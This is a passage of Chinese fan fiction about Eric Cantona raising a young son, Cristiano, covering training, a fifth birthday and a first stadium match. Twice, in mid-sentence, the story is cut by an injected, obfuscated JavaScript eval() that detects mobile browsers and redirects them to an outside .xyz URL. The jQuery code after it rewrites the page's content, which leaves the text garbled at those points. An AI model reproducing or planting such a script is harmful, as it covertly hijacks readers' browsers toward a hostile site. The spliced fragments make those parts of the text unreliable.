外面的雨越下越大，敲打着健身房的玻璃窗。但室内的温度却因为运动而升高，克里斯蒂亚诺的小脸变得红扑扑的，头发也被汗水打湿贴在额头上。 “休息一会儿，”坎通纳递给他一瓶水，“喝点水。” 克里斯蒂亚诺咕咚咕咚喝了大半瓶，然后突然问道：“爸爸，为什么你要当足球运动员？” 坎通纳愣了一下，没想到儿子会问这个问题：“因为我喜欢足球，就像你喜欢它一样。” “那你最喜欢足球的什么？”克里斯蒂亚诺追问道，眼睛亮晶晶的。 坎通纳思考了一会儿：“我喜欢进球那一刻的感觉，还有和队友一起努力赢下比赛。” 克里斯蒂亚诺认真地点点头：“我也要像你一样，进很多很多球。” 坎通纳忍不住笑了，揉了揉儿子的头发：“那你得继续努力练习。休息好了吗？再来一组？” 克里斯蒂亚诺立刻跳起来：“好了！这次我能用两只脚！” 中午时分，雨势稍缓，俱乐部的食堂里飘出阵阵香气。克里斯蒂亚诺跟着父亲和队友们走进食堂，好奇地打量着这个他从未来过的地方。 “爸爸，我能吃和你一样的吗？”他拽了拽坎通纳的衣角，小声问道。 坎通纳拿起一个托盘：“当然，不过你要吃完，不能浪费。” 克里斯蒂亚诺点点头，踮起脚尖看着柜台里的食物。他指了指一盘意大利面：“我要那个！” 端着午餐，父子俩找了个安静的角落坐下。克里斯蒂亚诺学着父亲的样子把餐巾铺在腿上，然后迫不及待地卷起一叉子面条。 “烫，”坎通纳提醒道，“吹一吹再吃。” 克里斯蒂亚诺鼓起腮帮子，认真地吹着面条，然后塞进嘴里，满足地眯起眼睛：“好吃！” 队友们陆续围坐过来，有说有笑地聊着训练和比赛。克里斯蒂亚诺一边吃一边听，时不时插嘴问些天真的问题，逗得大人们哈哈大笑。 “小坎通纳，”队长布鲁诺笑着问，“你以后想踢什么位置？像你爸爸一样踢前锋吗？” 克里斯蒂亚诺放下叉子，认真地思考了一下：“我要踢能进最多球的位置！” “那就是前锋了，”布鲁诺眨眨眼，“不过前锋也要会防守哦。” 克里斯蒂亚诺转向父亲：“爸爸，你也要防守吗？” 坎通纳点点头：“当然，足球是团队运动，每个人都要参与防守。” 吃完午饭，雨又开始下了起来。坎通纳看了看表：“下午的训练两点开始，我先把克里斯送回家。” “不用那么麻烦，”布鲁诺说，“更衣室旁边有个小休息室，可以让他在那里玩会儿。反正下午也是战术课，不激烈。” 坎通纳犹豫了一下，看向儿子：“你想留下来看爸爸训练吗？” 克里斯蒂亚诺的眼睛立刻亮了起来：“想！我保证乖乖的！” 于是，下午的训练课上，克里斯蒂亚诺被安排在休息室的窗边，那里可以清楚地看到整个室内训练场。他趴在窗台上，目不转睛地看着父亲和队友们在教练的指导下演练战术。 “注意跑位！”教练大声喊着，“埃里克，往右拉开空间！” 坎通纳按照指示跑动，突然一个急停变向，接到队友传球后轻巧地射门得分。克里斯蒂亚诺在窗后激动地拍手，虽然隔着玻璃没人能听见他的欢呼。 训练持续了两个小时，克里斯蒂亚诺就趴在窗边看了两个小时，一刻都没有分心。当训练结束，坎通纳满头大汗地走进休息室时，儿子立刻迎了上去。 “爸爸！你进了三个球！”克里斯蒂亚诺兴奋地比划着，“那个转身太帅了！” 坎通纳用毛巾擦了擦脸，有些惊讶：“你都数着了？” 克里斯蒂亚诺用力点头：“每一个！第一个是左脚打的，第二个是头球，第三个……第三个是……” “右脚外脚背，”坎通纳接话道，眼中带着赞许，“观察得很仔细。” “我想学那个转身，“克里斯蒂亚诺拉着父亲的手，“能教我吗？” “回家教你简化版的，”坎通纳承诺道，“现在爸爸要去冲个澡，你在这里再等一会儿好吗？” 克里斯蒂亚诺乖乖坐回椅子上：“好。爸爸……” “嗯？” “我长大后也要像你一样厉害。” 坎通纳蹲下身，平视着儿子认真的小脸：“你会比我更厉害。” 冲完澡换好衣服，坎通纳带着儿子准备离开。经过俱乐部大厅时，克里斯蒂亚诺突然停下脚步，指着墙上的一张大幅照片：“爸爸，那是你！” 照片上是坎通纳上赛季进球后的庆祝动作，他正张开双臂奔跑，背后是欢呼的球迷。 “嗯，”坎通纳简单应了一声，“走吧，妈妈该等急了。” 但克里斯蒂亚诺不肯动，仰着头痴痴地看着那张照片：“爸爸，你看起来好……好……” “好什么？” “好快乐，”克里斯蒂亚诺轻声说，“就像我进球时一样快乐。” 坎通纳弯下腰，把克里斯蒂亚诺抱起来，让他能更清楚地看到照片：“是的，足球能带来很多快乐。但记住，快乐背后是很多很多努力。” 克里斯蒂亚诺搂着父亲的脖子，郑重地点点头：“我会努力的。” 回家的路上，克里斯蒂亚诺不停地问着各种问题，从为什么足球是黑白相间的，到一场比赛要跑多远。坎通纳耐心地回答着，虽然有些问题让他忍俊不禁。 “爸爸，如果我一直练习，能赶上你吗？”快到家时，克里斯蒂亚诺突然问道。 坎通纳停下脚步，认真地看着儿子：“克里斯，你不是要赶上我，而是要超越我。这是每个父亲对儿子的期望。” 克里斯蒂亚诺似懂非懂地点点头，然后指着不远处的家喊道：“妈妈在门口等我们！” 艾米莉确实站在门前，手里拿着干毛巾。看到浑身湿漉漉的父子俩，她无奈地摇头：“我就知道会这样。赶紧进来换衣服，别感冒了。” 克里斯蒂亚诺冲向母亲，兴奋地讲述着今天的见闻：“妈妈！我看到爸爸训练了！他进了三个球！我还学会了用两只脚带球！” 艾米莉笑着用毛巾裹住儿子：“真棒！不过现在，小球星需要洗个热水澡。” 晚餐时分，克里斯蒂亚诺坐在餐桌前，狼吞虎咽地吃着艾米莉做的炖菜。他的头发还带着沐浴后的湿气，小脸因为热气而红扑扑的。 “慢点吃，”艾米莉轻轻擦掉儿子嘴角的汤汁，“没人跟你抢。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15520584|170686||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 坎通纳看着儿子迫不及待的样子，忍不住问：“这么饿？” 克里斯蒂亚诺点点头，咽下嘴里的食物：“爸爸，吃完饭能教我那个转身吗？就是今天训练时你做的那个。” “今天不行，”坎通纳切着盘中的肉排，“太晚了，而且你训练了一上午，肌肉需要休息。” 克里斯蒂亚诺的小脸立刻垮了下来：“就练一会儿……” “不行，”坎通纳的语气温和但坚定，“过度训练会受伤。真正的运动员知道什么时候该停下来。” 艾米莉给儿子倒了杯牛奶：“明天再练吧。今晚我们可以看会儿电视，然后早点睡觉。” 克里斯蒂亚诺不情不愿地点点头，但很快又被电视节目的提议吸引了：“能看足球比赛吗？” “可以，”坎通纳说，“正好有场意甲联赛的录像。” 吃完饭，一家三口窝在客厅的沙发里看电视。克里斯蒂亚诺坐在父母中间，眼睛一眨不眨地盯着屏幕。每当有精彩镜头，他就会激动地跳起来模仿动作。 “爸爸！那个过人！我能学吗？” 坎通纳把儿子拉回沙发上：“先学会基本功，那些花式动作以后再说。” 比赛进行到下半场，克里斯蒂亚诺的脑袋开始一点一点的，眼皮也越来越沉。他强撑着不想睡，但温暖的客厅和父亲的臂弯实在太舒适了。 艾米莉轻轻拿过遥控器调低音量：“他今天累坏了。” 坎通纳低头看着儿子熟睡的小脸，轻声说：“我抱他上楼。” 他小心翼翼地把克里斯蒂亚诺抱起来，尽量不惊醒他。但克里斯蒂亚诺还是迷迷糊糊地睁开了眼：“爸爸……明天……练球……” “明天再说明天的事，”坎通纳轻声回答，“现在睡觉。” 把儿子安顿在床上，盖好被子，坎通纳正要离开，却听到克里斯蒂亚诺含糊的声音：“爸爸……晚安……” “晚安，小冠军。”坎通纳在儿子额头上亲了一下，轻轻关上台灯。 下楼时，艾米莉已经收拾好了客厅。“他今天开心吗？”她问。 坎通纳点点头，嘴角带着笑意：“一整天都在问问题，模仿动作。我想他是真的爱上了足球。” 艾米莉递给丈夫一杯茶：“有时候我担心他太小就开始这么专注一件事。” “我不会逼他，”坎通纳接过茶杯，“但如果这是他的选择，我会支持他。” 两人安静地坐了一会儿，听着楼上偶尔传来的轻微响动——大概是克里斯蒂亚诺在睡梦中翻身。 “你知道吗，”坎通纳突然说，“今天他看到我墙上的照片，说我看起来很快乐。我从没想过，在他眼里，我踢球时的样子是这样的。” 艾米莉微笑着握住丈夫的手：“因为你确实快乐。足球是你的passion，现在也成了他的。” 夜深了，屋外的雨又开始轻轻敲打窗户。坎通纳上楼检查儿子是否盖好被子，发现克里斯蒂亚诺的足球就放在床头柜上，小手还搭在上面，仿佛即使在睡梦中也不愿分开。 他轻轻调整了一下被角，看着儿子平静的睡颜。四岁的克里斯蒂亚诺，已经开始在梦中追逐足球了。 第二天清晨，阳光透过窗帘的缝隙照进房间。克里斯蒂亚诺一骨碌爬起来，第一件事就是摸向床边的足球。当他发现球还在原处时，松了一口气，然后跳下床光着脚就往外跑。 “爸爸！起床了！天晴了！我们能去训练了！” 坎通纳的卧室门开着，他看起来已经起床多时，正在看早间体育新闻。“先去洗漱，然后吃早餐。”他说，“训练要等消化好了才能开始。” 克里斯蒂亚诺急不可耐地跺脚：“可是太阳都出来了！” “足球运动员要学会耐心。”坎通纳关掉电视，“去刷牙，然后下楼。今天教你那个转身动作。” 这句话像魔法一样奏效。克里斯蒂亚诺立刻冲向浴室，差点被自己的拖鞋绊倒。 早餐后，父子俩来到后院的小空地。坎通纳摆了几个标志物，开始示范那个简单的变向转身动作。 “看，先假装往这边走，”他慢动作演示着，“然后突然用这只脚扣球转身。” 克里斯蒂亚诺全神贯注地观察着，然后迫不及待地尝试。第一次，他转得太猛摔倒了；第二次，球滚远了；第三次，他终于勉强完成了动作。 “我做到了！爸爸！看到了吗？”他兴奋地喊道。 坎通纳点点头：“不错，但重心要再低一点。再来一次。” 就这样，一个教一个学，阳光渐渐升高，晒干了草地上的雨水。克里斯蒂亚诺的小脸因为努力而涨红，汗水打湿了他的T恤后背，但他不肯停下来。 “最后一次，”坎通纳终于叫停，“然后我们休息。明天再继续。” 克里斯蒂亚诺气喘吁吁地停下来，抱起球走向父亲：“爸爸，我什么时候能像你一样厉害？” 坎通纳用毛巾擦掉儿子脸上的汗水：“如果你真的想成为职业球员，克里斯，记住：不是要像我，而是要成为最好的自己。” 克里斯蒂亚诺似懂非懂地点点头，但眼神坚定：“我会的，爸爸。我会成为最好的。” 阳光洒在父子俩身上，将他们的影子拉得很长。在四岁的克里斯蒂亚诺心中，一个梦想正如同这清晨的阳光一般，越来越明亮。 4. 生日礼物 1990年2月5日，坎通纳家的厨房里飘出巧克力蛋糕的香气，艾米莉正忙着往蛋糕上插五根彩色蜡烛。 “埃里克，去叫克里斯起床吧，”她抬头看了眼挂钟，“他要是知道今天诺亚一家要来，肯定迫不及待。” 楼上卧室里，五岁的克里斯蒂亚诺蜷缩在被窝中，怀里抱着那个已经有些磨损的足球。坎通纳轻轻推开门，走到床边坐下。 “生日快乐，小冠军。”他揉了揉儿子的卷发。 克里斯蒂亚诺迷迷糊糊睁开眼，突然意识到今天是什么日子，一骨碌爬起来：“我五岁了！” “是的，”坎通纳笑着按住想要跳下床的儿子，“先别急，妈妈在准备早餐，你可以再躺会儿。” 克里斯蒂亚诺摇摇头，光着脚就跑到衣柜前：“我要穿那件新球衣！就是圣诞礼物那件！” 坎通纳从抽屉里找出那件印着马赛队徽的小号球衣：“先洗漱，然后才能换新衣服。” 十分钟后，焕然一新的克里斯蒂亚诺冲下楼，直奔厨房：“妈妈！我五岁了！” 艾米莉弯腰亲了亲儿子的脸颊：“生日快乐，亲爱的。来看看你的蛋糕。” 克里斯蒂亚诺踮起脚尖，眼睛亮晶晶地盯着蛋糕：“有五根蜡烛！” “因为你现在是个大男孩了，”艾米莉把蛋糕移到餐桌中央，“等诺亚他们来了再点。” 克里斯蒂亚诺突然想起什么，转向父亲：“爸爸，你说过我五岁就可以……” “先吃早餐，”坎通纳打断他，但眼中带着笑意，“礼物要等下午。” 早餐后，克里斯蒂亚诺趴在客厅窗台上，眼巴巴地望着街道：“诺亚怎么还不来？” “他们说了十点到，”艾米莉整理着沙发靠垫，“还有一小时呢。” 坎通纳从书房拿出一个小摄像机：“今天我要把派对都录下来。” “爸爸！”克里斯蒂亚诺跑过来，“能拍我踢球吗？我要给诺亚看我的新动作！” “当然可以。”坎通纳调试着机器，“不过现在，去帮妈妈摆餐具。” 克里斯蒂亚诺不情不愿地走向厨房，但很快又被即将到来的派对吸引了注意力：“妈妈，我们能玩射门打瓶子吗？就是上次在诺亚家玩的那个。” 艾米莉递给他一叠纸盘：“可以在院子里玩一会儿，但要注意别把蛋糕打翻了。” 当时钟指向十点，门铃准时响起。克里斯蒂亚诺像颗子弹一样冲向门口，猛地拉开：“诺亚！” 诺亚·伯纳德站在门口，手里捧着一个用渔网装饰的礼物盒。他比克里斯蒂亚诺高半个头，皮肤被海风吹得黝黑。“生日快乐！”他咧嘴一笑，露出缺了一颗的门牙。 大人们互相问候时，两个小男孩已经跑到院子里去了。诺亚好奇地打量着克里斯蒂亚诺的新球衣：“酷！” “爸爸说等我再长大点，就能去看他比赛了，”克里斯蒂亚诺骄傲地挺起胸膛，“坐在最前排！” 诺亚从口袋里掏出一个海螺：“给你的礼物。你对着它吹，就能听到大海的声音。” 克里斯蒂亚诺小心翼翼地接过海螺，试着吹了一下，却只发出噗的一声。两个男孩笑成一团。 “克里斯！诺亚！”艾米莉在门口喊道，“来吃蛋糕了！” 客厅里，玛丽安和伯纳德正在和坎通纳聊天。雅克拍着坎通纳的肩膀：“听说你们这赛季要争冠？” 坎通纳点点头：“还差六分，不过接下来几场都是硬仗。” 克里斯蒂亚诺拉着诺亚跑进来：“爸爸，能先点蜡烛吗？” 在生日歌中，五根蜡烛被一一点亮。克里斯蒂亚诺深吸一口气，一口气吹灭了所有蜡烛，赢得大人们的掌声。 “许了什么愿？”诺亚好奇地问。 克里斯蒂亚诺摇摇头：“不能说，说了就不灵了。” 艾米莉开始分蛋糕，给克里斯蒂亚诺的那块特别大，上面还有额外的巧克力酱。“只能吃一块，”她提醒道，“中午还有烤肉呢。” 坎通纳拿起摄像机：“克里斯，来拆礼物吧。” 第一个拆的是诺亚送的渔网装饰盒。里面是一个手工制作的木质小帆船模型，船帆上写着“克里斯五岁”。 “我爸爸帮我做的，”诺亚骄傲地说，“用了真正的船木！” 克里斯蒂亚诺小心地捧出小船：“太棒了！我要把它放在床头！” 接下来是玛丽安和雅克送的礼物——一套小渔夫装，包括一顶防水帽和一件小号救生衣。“这样你跟我们出海就不会淋湿了，”雅克眨眨眼，“今年夏天试试？” 克里斯蒂亚诺开心地试戴帽子，但眼睛一直瞟向父母：“爸爸妈妈的礼物呢？” 坎通纳和艾米莉相视一笑。“在院子里，”坎通纳说，“吃完蛋糕才能看。” 这句话立刻让克里斯蒂亚诺加快了吃蛋糕的速度，奶油沾得满嘴都是。艾米莉无奈地拿过餐巾：“慢点，礼物又不会跑掉。” 蛋糕吃完后，克里斯蒂亚诺迫不及待地拉着诺亚往后院跑。艾米莉和坎通纳跟在后面，玛丽安和雅克也好奇地跟了出来。 院子里，一个用红色绸布盖着的物体靠在墙边，大约一米高。克里斯蒂亚诺松开诺亚的手，慢慢走近那个神秘礼物。 “这是什么？”他小声问道，眼睛瞪得圆圆的。 坎通纳把摄像机递给艾米莉，蹲在儿子身边：“掀开看看。” 克里斯蒂亚诺深吸一口气，抓住绸布的一角，猛地掀开—— “球门！”他尖叫起来，声音因兴奋而拔高，“是真的球门！” 那是一个迷你足球门，正好适合五岁孩子的身高，网兜是崭新的，在阳光下闪闪发亮。门框上还用蓝色油漆写着“CR5”——克里斯蒂亚诺·罗纳尔多5岁的意思。 “爸爸！”克里斯蒂亚诺转身扑进坎通纳怀里，“真的是给我的吗？” “当然是给你的，”坎通纳抱起儿子，让他能摸到球门的横梁，“现在你可以在家练习射门了。” 诺亚羡慕地摸着球门立柱：“这比我们用罐头摆的门强多了！” 克里斯蒂亚诺从父亲怀里跳下来，立刻跑回屋里拿出自己的足球：“我要试试！” “等等，”坎通纳拦住他，“先听规则。第一，只能在院子里踢，不能对着窗户；第二，每天练习不超过一小时。” 克里斯蒂亚诺连连点头：“我都答应！现在能踢了吗？” 在大家的注视下，克里斯蒂亚诺把球放在距离球门几米远的地方，后退几步，认真地瞄准。他助跑，用力踢出一脚—— 球偏了，撞在门柱上弹回来。 ”差一点！”诺亚喊道。 克里斯蒂亚诺捡回球，又试了一次。这次球擦着横梁飞了过去。 “左脚，”坎通纳提醒道，“记得用脚内侧。” 第三次尝试，球终于应声入网。克里斯蒂亚诺兴奋地跳起来：“我进了！爸爸！你看到了吗？” “看到了，”坎通纳笑着鼓掌，“漂亮的射门。” 接下来的半小时里，两个小男孩轮流射门，大人们则坐在院子里的椅子上聊天。雅克看着孩子们玩耍，对坎通纳说：“他天赋不错，这么小就有准头了。” 坎通纳的目光一直没离开儿子：“他比同龄人更专注。上周我带他去训练场，他盯着青年队练习看了整整两小时，一动不动。” 中午的烤肉派对在院子里进行。克里斯蒂亚诺和诺亚狼吞虎咽地吃着香肠和汉堡，急着回去继续踢球。艾米莉不得不多次提醒他们慢点吃。 “克里斯，”玛丽安问道，“你长大真想当足球运动员吗？” 克里斯蒂亚诺嘴里塞满食物，用力点头：“嗯！像爸爸一样！” “那要是当不了呢？”诺亚好奇地问，“我爸爸说职业球员很难当的。” 克里斯蒂亚诺愣住了，似乎从没考虑过这个可能性。他看向父亲，眼中带着疑问。 坎通纳放下叉子，认真地说：“只要努力训练，保持热爱，没有什么是不可能的。但重要的是享受足球本身，而不仅仅是成为职业球员这个结果。” 克里斯蒂亚诺似懂非懂地点点头，然后突然说：“我就是喜欢踢球。进球的感觉……感觉…….”他皱着小脸寻找词汇。 “像飞起来一样？”诺亚插嘴道。 “对！”克里斯蒂亚诺眼睛一亮，“就像飞起来一样！” 大人们被这个纯真的比喻逗笑了。伯纳德举起果汁杯：“为了小克里斯的第一次‘飞翔’ ，干杯！” 派对持续到下午三点，诺亚一家才告辞离开。克里斯蒂亚诺依依不舍地送别好友，答应下周一起去码头踢球。 回到院子，坎通纳正在调整球门的位置。“爸爸，”克里斯蒂亚诺跑过来，“我能再踢一会儿吗？就一会儿！” 坎通纳说：“再练十脚，然后该休息了，今天你已经运动很久了。” 克里斯蒂亚诺立刻摆好球，认真地开始他的“十脚练习”。第一脚进了，第二脚打在门柱上，第三脚…… 坎通纳坐在一旁的长椅上观看，时不时给出建议：“重心再低一点...注意支撑脚的位置……” 当第十脚射门——一个漂亮的弧线球入网后，克里斯蒂亚诺气喘吁吁地跑向父亲：“爸爸！我进了六个！” “不错，”坎通纳递给他水壶，“但记住，质量比数量重要。明天我们练习准确性。” 艾米莉从屋里走出来：“克里斯，该洗澡了。你浑身都是汗和草屑。” 克里斯蒂亚诺抱着足球不撒手：“能带着球洗澡吗？” “当然不行，”艾米莉哭笑不得，“球会湿透的。” 洗完澡，换上干净衣服，克里斯蒂亚诺又跑到院子里，这次只是静静地坐在球门前，小手抚摸着门框上的“CR5”字样。 坎通纳走过来坐在他身边：“喜欢你的礼物吗？” 克里斯蒂亚诺点点头，靠在父亲身上：“爸爸，我会每天都练习的。等我长大了，要进好多好多球，比你还多。” 坎 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15520585|170686||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 通纳搂住儿子的小肩膀：“我期待着那一天。” 晚餐时，克里斯蒂亚诺的兴奋劲还没过去，一边吃饭一边不停地谈论他的新球门。他挥舞着叉子宣布：“明天我要练习左脚，然后练习头球！” “先把嘴里的食物咽下去再说话，”艾米莉提醒道，“还有，明天你要上学，记得吗？” 克里斯蒂亚诺的小脸立刻垮了下来：“可是我的球门……” “放学后再练，”坎通纳切着盘中的鸡肉，“学习同样重要。你不想以后连战术板都看不懂吧？” 克里斯蒂亚诺嘟着嘴，但还是点了点头：“好吧……那我能练半小时吗？” “可以，”坎通纳答应道，“但作业要先做完。” 吃完饭，克里斯蒂亚诺帮着收拾餐桌，眼睛却一直往院子里瞟。艾米莉看穿了他的心思：“去吧，再看一眼你的球门，然后回来洗澡。” 克里斯蒂亚诺立刻冲向后门，差点撞翻椅子。院子里，夕阳给他的小球门镀上了一层金边。他轻轻摸了摸网兜，又看了看门框上自己的名字缩写，满足地叹了口气。 回到屋里，他发现父母正在客厅低声交谈。坎通纳手里拿着一个扁平的盒子，看到儿子进来，立刻把盒子藏到了身后。 “那是什么？”克里斯蒂亚诺好奇地问，试图绕到父亲背后去看。 “没什么，”坎通纳故作神秘，“去洗澡吧。” 克里斯蒂亚诺狐疑地看着父母，但还是在艾米莉的催促下上楼洗澡去了。他洗得比平时快得多，匆匆擦干身体就套上睡衣，连头发都没擦干就冲下楼。 “爸爸！妈妈！我洗完了！”他站在客厅中央宣布，湿漉漉的头发还在滴水。 艾米莉叹了口气，拿来干毛巾给他擦头发：“至少把头发擦干，不然会感冒。” 坎通纳坐在沙发上，那个神秘的盒子现在放在茶几上。“过来，”他对儿子说，“还有一个礼物。” 克里斯蒂亚诺的眼睛瞪得溜圆：“还有？”他爬上沙发，紧挨着父亲坐下，眼睛一刻不离那个盒子。 坎通纳打开盒子，取出一本厚厚的相册。封面上贴着克里斯蒂亚诺抱着足球的照片，下面用烫金字写着“克里斯蒂亚诺的足球之路”。 “这是……”克里斯蒂亚诺小心翼翼地接过相册，翻开第一页。 里面整齐地排列着从他三岁第一次接触足球到现在的照片：在海滩上踢椰子、在院子里练习、在公园里射门、睡梦中还抱着足球……每张照片旁边都有坎通纳亲手写的日期和简短的文字说明。 “爸爸……”克里斯蒂亚诺的声音有些颤抖，“这些你都记得？” 坎通纳搂住儿子的肩膀：“当然。从你第一次踢球开始，我就知道足球会成为你生命中的重要部分。” 克里斯蒂亚诺一页页翻着，看到自己成长的点点滴滴。有些场景他甚至不记得了，但父亲都细心地记录下来。翻到最后几页，是今天生日派对的照片——艾米莉已经快速冲洗出来了，坎通纳甚至已经贴好了。 “这里还有空页，”克里斯蒂亚诺指着相册后面的空白处，“是留给以后的照片吗？” “是的，”坎通纳点头，“以后你每进一个重要球，每赢得一场比赛，我们都会记录下来。” 克里斯蒂亚诺突然转身紧紧抱住父亲：“谢谢你，爸爸。这是最好的生日。” 艾米莉走过来，亲了亲儿子的额头：“生日快乐，亲爱的。现在该睡觉了，明天还要上学呢。” 克里斯蒂亚诺抱着相册上楼，把它和诺亚送的小帆船一起放在床头柜上。他躺在床上，却兴奋得睡不着，不停地翻看相册。 坎通纳上楼来检查时，发现儿子还在看照片。“该睡觉了，”他轻声说，“相册又不会跑掉。” 克里斯蒂亚诺合上相册，但依然紧紧抱着：“爸爸，我会成为最好的球员，让你和妈妈骄傲。” 坎通纳坐在床边，摸了摸儿子的头发：“你已经让我们骄傲了，克里斯。不是因为你会不会成为球星，而是因为你是一个善良、热情、有毅力的孩子。” 克里斯蒂亚诺眨眨眼，似乎不太理解这么深奥的话，但还是点点头：“我会继续努力的。” “我知道你会的，”坎通纳俯身亲了亲儿子的额头，“晚安，五岁的小男子汉。” 关上台灯，坎通纳轻轻带上门。下楼时，艾米莉正在整理客厅。“他睡了吗？”她问。 坎通纳点点头：“抱着相册睡的。”他走到窗前，看着院子里月光下的小球门，“有时候我在想，我们是不是太早把他引向足球这条路了。” 艾米莉走过来握住丈夫的手：“是他选择了足球，埃里克。就像你当年一样。我们能做的就是支持他，同时让他知道，无论他最终选择什么道路，我们都会爱他。” 坎通纳望着窗外的球门，仿佛看到了多年后的场景——一个少年在那里练习射门，然后是一个青年，也许有一天，会是一个职业球员。但此刻，那只是一个五岁男孩的生日礼物，一个承载着梦想的开始。 5. 第一次观赛 周六，马赛港的阳光格外明媚。克里斯蒂亚诺早早地醒了，他穿着睡衣就冲进父母的卧室，跳上大床摇晃着还在睡觉的父亲。 “爸爸！爸爸！醒醒！今天要去看比赛！”五岁的克里斯蒂亚诺头发乱蓬蓬的，眼睛里闪烁着兴奋的光芒。 坎通纳睁开眼，看了眼床头的闹钟——才早上六点半。他无奈地笑着把儿子搂进怀里：“比赛下午三点才开始，小疯子。” 艾米莉从浴室探出头来，脸上还敷着面膜：“克里斯，我说过多少次了，不能这样吵醒爸爸。” 克里斯蒂亚诺从父亲怀里钻出来，跪坐在床上：“可是妈妈说要看早场动画片，然后吃早午餐，然后换衣服，然后……” “然后现在太早了，”坎通纳坐起身，揉了揉儿子的卷发，“你先去看动画片，让爸爸再睡半小时。” 克里斯蒂亚诺不情愿地爬下床，走到门口又转身问：“爸爸，我真的可以坐在球员家属区吗？能看到你进球吗？” “如果你乖乖听话，”坎通纳躺回枕头上，“现在，出去的时候把门关上。” 克里斯蒂亚诺轻手轻脚地关上门，然后咚咚咚地跑下楼。艾米莉正在厨房准备早餐，听到动静头也不回地说：“先把睡衣换掉，克里斯。” “可是我想穿马赛队的球衣！”克里斯蒂亚诺拉开自己的衣柜，翻找着那件白色的儿童版球衣。 “先吃早餐再换，”艾米莉把煎蛋翻了个面，“不然你会把酱料弄到球衣上。” 早餐后，克里斯蒂亚诺终于如愿以偿地换上了球衣，还在镜子前转来转去。“妈妈，看！我和爸爸一样！”他指着胸前的队徽骄傲地说。 艾米莉蹲下来帮他整理衣领：“很帅。不过记住，今天人很多，一定要牵紧我的手，知道吗？” “我知道！”克里斯蒂亚诺用力点头，“我不会乱跑的，我要好好看爸爸比赛！” 中午时分，坎通纳已经提前去了球场。艾米莉给克里斯蒂亚诺准备了简易午餐——他太兴奋了，根本吃不下太多东西。 “妈妈，为什么爸爸要这么早去？”克里斯蒂亚诺一边嚼着三明治一边问。 “球员要提前热身，还要开会研究战术，”艾米莉解释道，“就像你每次踢球前也要做准备活动一样。” 克里斯蒂亚诺似懂非懂地点点头，突然跳下椅子：“我也要热身！这样看比赛时就能和爸爸一样了！” 艾米莉看着儿子在客厅里又蹦又跳，无奈地摇头：“别把食物弄得到处都是，克里斯。” 下午两点，艾米莉带着克里斯蒂亚诺来到韦洛德罗姆球场。五岁的克里斯蒂亚诺仰头望着这座巨大的体育场，嘴巴张得大大的。 “好大啊……”他小声说，紧紧抓住母亲的手。 通过特殊通道，他们来到了球员家属区。这里视野极佳，正好在中线位置。克里斯蒂亚诺趴在栏杆上，目不转睛地盯着空荡荡的球场。 “爸爸在哪里？”他急切地问。 “等会儿就出来了，”艾米莉把儿子拉回座位上，“现在先坐下，比赛要很久呢。” 随着时间推移，球场渐渐坐满了观众。克里斯蒂亚诺从没见过这么多人，他好奇地左右张望，听着周围此起彼伏的歌声和呐喊。 突然，全场爆发出震耳欲聋的欢呼声。球员们入场了。克里斯蒂亚诺立刻站起来，小脸贴在栏杆上，眼睛一眨不眨地寻找父亲的身影。 “在那里！爸爸在那里！”他指着走在队伍中间的坎通纳，激动地跳起来。 坎通纳似乎感应到了，抬头看向家属区，朝妻子和儿子挥了挥手。克里斯蒂亚诺拼命挥舞着小手臂，生怕父亲看不到自己。 “妈妈，爸爸看到我了！他真的看到我了！”他转身抱住艾米莉，然后又立刻回到栏杆边。 比赛开始了，克里斯蒂亚诺全神贯注地盯着场上的每一个动作。每当坎通纳触球，他就会尖叫起来；每当对方球员靠近父亲，他就会紧张地抓住母亲的袖子。 “为什么那个人要推爸爸？”他不解地问。 “那是正常对抗，”艾米莉解释道，“足球比赛都这样。” 上半场进行到第二十分钟，坎通纳接到队友传球，一个漂亮的转身摆脱防守队员，在禁区边缘起脚射门——球应声入网！ 整个球场沸腾了。克里斯蒂亚诺呆立在原地，眼睛瞪得圆圆的，然后突然爆发出尖叫：“爸爸进球了！爸爸进球了！”他转向艾米莉，脸上是纯粹的喜悦和崇拜，“妈妈！你看到了吗？爸爸进球了！” 艾米莉笑着点头，把兴奋过度的儿子搂进怀里：“看到了，宝贝。爸爸很厉害，是不是？” 克里斯蒂亚诺用力点头，然后转身对着场上的坎通纳大喊：“爸爸！我看到了！我看到了！”虽然他的声音完全淹没在球场欢呼声中，但他还是不停地喊着。 中场休息时，克里斯蒂亚诺依然沉浸在父亲进球的兴奋中。他站在座位上，模仿着坎通纳的庆祝动作，张开双臂转圈，差点撞到后排的观众。 “坐下，克里斯。”艾米莉拉住儿子的衣角，“你想吃点什么吗？热狗？爆米花？” 克里斯蒂亚诺摇摇头，眼睛仍然盯着球员通道：“爸爸什么时候出来？” “下半场开始前才会出来。”艾米莉从包里拿出水壶，“至少喝点水，你喊得嗓子都哑了。” 克里斯蒂亚诺乖乖喝了两口水，然后突然想到什么，凑近母亲耳边小声问：“妈妈，爸爸进球的时候，你也会像其他人一样大喊吗？” 艾米莉笑着整理儿子被汗水打湿的刘海：“当然会，只是你可能没听到。我每次都会为爸爸加油。” “那我下次要听你喊！”克里斯蒂亚诺宣布，又转向球场，“我也想进球……像爸爸那样。” 